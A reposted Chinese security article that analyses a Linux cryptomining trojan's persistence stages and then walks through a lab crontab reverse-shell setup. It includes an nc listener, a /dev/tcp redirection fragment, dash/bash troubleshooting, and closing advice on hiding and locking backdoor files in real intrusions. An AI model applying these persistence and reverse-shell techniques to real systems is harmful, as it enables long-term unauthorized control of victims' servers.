从挖矿木马看后渗透维权

以下文章来源于雷神众测,作者kevil

No.1 声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2 前言

在通过漏洞打入对方服务器后,如果痕迹没有清除干净或者在实施侵入的同时会有防火墙、waf(某云盾)等安全产品发出警报,比如某云服务器会直接发送邮件告知管理员,服务器被一个陌生IP登录,这时管理员可能会警觉,可能最直接的方式就是将22、3389等端口放入内网或直接关闭,如果想要获取对方长久的控制权,我们需要在其服务器中埋下稳定的后门,比如通过定时任务 crontab 反弹 shell,启发来源于挖矿脚本。

No.3 挖矿木马分析结果

阶段1

1.关闭防火墙和selinux。

2.释放掉被系统Cache占用的数据:sync && echo 3 >/proc/sys/vm/drop_caches,获得更多计算资源。

这里是矿机的CPU占用情况

3.配置crond定时任务以及授权密钥的路径。

4.定义一些变量,扰乱系统程序,干扰其它挖矿程序。

5.配置定时更新木马的文件,比如sysupdate,update.sh。

通过威胁情报平台确认de.gsearch.com.de域名为攻击者散播挖矿脚本的恶意域名。

阶段2

ps获取运行的进程,grep屏蔽掉自己,然后grep其它挖矿程序,awk获取进程编号,kill -9 强制杀掉。

阶段3

定义一个函数,调用curl,wget远程下载挖矿脚本。

阶段4

定时写入公钥,实现免密登录。

阶段5

给木马文件加锁,防止被修改或者删除。

阶段6

修改防火墙配置。

阶段7

清理入侵痕迹。

阶段8

劫持系统进程以及命令(比如ls,cd等常用命令,后期还会劫持sshd)。

从这个阶段开始分析服务器中存在的另外一个挖矿脚本,可以看出本人通过crontab -r 后任然无法删除定时任务,这里可能有两种原因:

1.有其他定时任务还在不断写入下载挖矿脚本的命令。

2.系统命令和系统进程被劫持,一旦被劫持的系统进程或命令生效,挖矿木马再次激活。

通过busybox尝试恢复被劫持的系统命令和进程后,重启服务器,重新登录服务器后依然有病毒进程被拉起,怀疑登录时加载的服务存在问题,最后终于发现/etc/bashrc 存在挖矿木马下载命令。

/etc/bashrc:为每一个运行bash shell的用户执行此文件,当bash shell被打开时,该文件被读取。所以重启后,挖矿脚本会继续下载。

网上资料的搜集(关于该类型挖矿木马的感染过程):

主进程操作

1.添加至开机启动,以及/etc/bashrc

2.生成了sshd文件 劫持sshd服务

3.将netdns文件设置为开机启动

4.编译libcryptod.c为/usr/local/lib/libcryptod.so

5.预加载动态链接库,恶意hook关键系统操作函数

6.修改/etc/cron.d/root文件,增加定时任务

7.拉起khugepageds挖矿进程。

No.4 笔者的辛酸删马环节

1.Ubuntu16.04写入定时任务反弹shell

测试环境

攻击机:kali-linux-2019.3,IP:192.168.101.153

靶机:Ubuntu16.04LTS,IP:192.168.101.142

2.测试时出现的问题:

crontab -e写入反弹shell,kali攻击机nc -lvvp 8888一直接收不到连接,service cron status,报错:

CRON: pam_unix(cron:session): session opened for user root by (uid=0)

CRON: pam_unix(cron:session): session closed for user root

解决:vi /etc/pam.d/common-session-noninteractive

在session required pam_unix.so

上方添加以下内容:

session [success=1 default=ignore] pam_succeed_if.so service in cron quiet use_uid

service cron restart

service cron status(报错已解决,但是kali任然无法收到反弹shell)

好像有错误信息:CRON[3901]: (CRON) info (No MTA installed, discarding output)

第一种方法:sudo apt-get install postfix

报错没有了,但是还是接收不到shell

换第二种方法

首先修改一下计划任务

然后我们过一分钟去文件error.txt查看报错信息

该错误信息的意思大概是:/bin/bash没有被找到,bash后面的”>& /dev/tcp/…”被当作系统文件或目录了,并没有通过binbash命令执行。linux里面的cron中命令执行的shell环境是/bin/sh,我们看一下/bin/sh文件的属性,发现/bin/sh其实是一个软连接,指向dashshell。

Ubuntu6.10已将先前默认的bashshell更换为了dashshell。Debian和Ubuntu中,/bin/sh默认已经指向dash,这是一个不同于bash的shell,它主要是为了执行脚本而出现,而不是交互,它速度更快,但功能相比bash要少很多,语法严格遵守POSIX标准。因为缺少了binbash的交互特性,所以kali中弹不回shell可以得到很好的解释了。

1.如果是 Dash 可用以下方法切回 Bash

方法一:修改默认脚本解释语言为bash

sudo dpkg-reconfigure dash(选择 NO)

$ sudo dpkg-reconfigure dash

Removing 'diversion of /bin/sh to /bin/sh.distrib by dash'

Adding 'diversion of /bin/sh to /bin/sh.distrib by bash'

Removing 'diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by dash'

Adding 'diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by bash'

然后ls -l /bin/sh确认软连接指向bashshell即可,我采取的是第二种方式。

方法二:直接修改sh的软链接为bash。

sudo ln -fs /bin/bash /bin/s

此时kali正常弹回shell:

此外,除了通过crontab -e直接写入bash之外,我们还可以通过创建定时文件/etc/crontabshell,然后通过crontab -e调用该shell脚本:

* * * * * /etc/crontabshell,

crontab -e

vi /etc/crontabshell

chmod 777 /etc/crontabshell

此时kali再次弹回shell:

No.5 实战中的应用

真实的渗透环境中,我们可以调用多个文件去执行反弹shell,你也可以设置隐藏属性的shell脚本文件,或者alias劫持一些系统命令,给定时文件加锁。结合挖矿木马的特性,可达到不死马的效果。

END

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券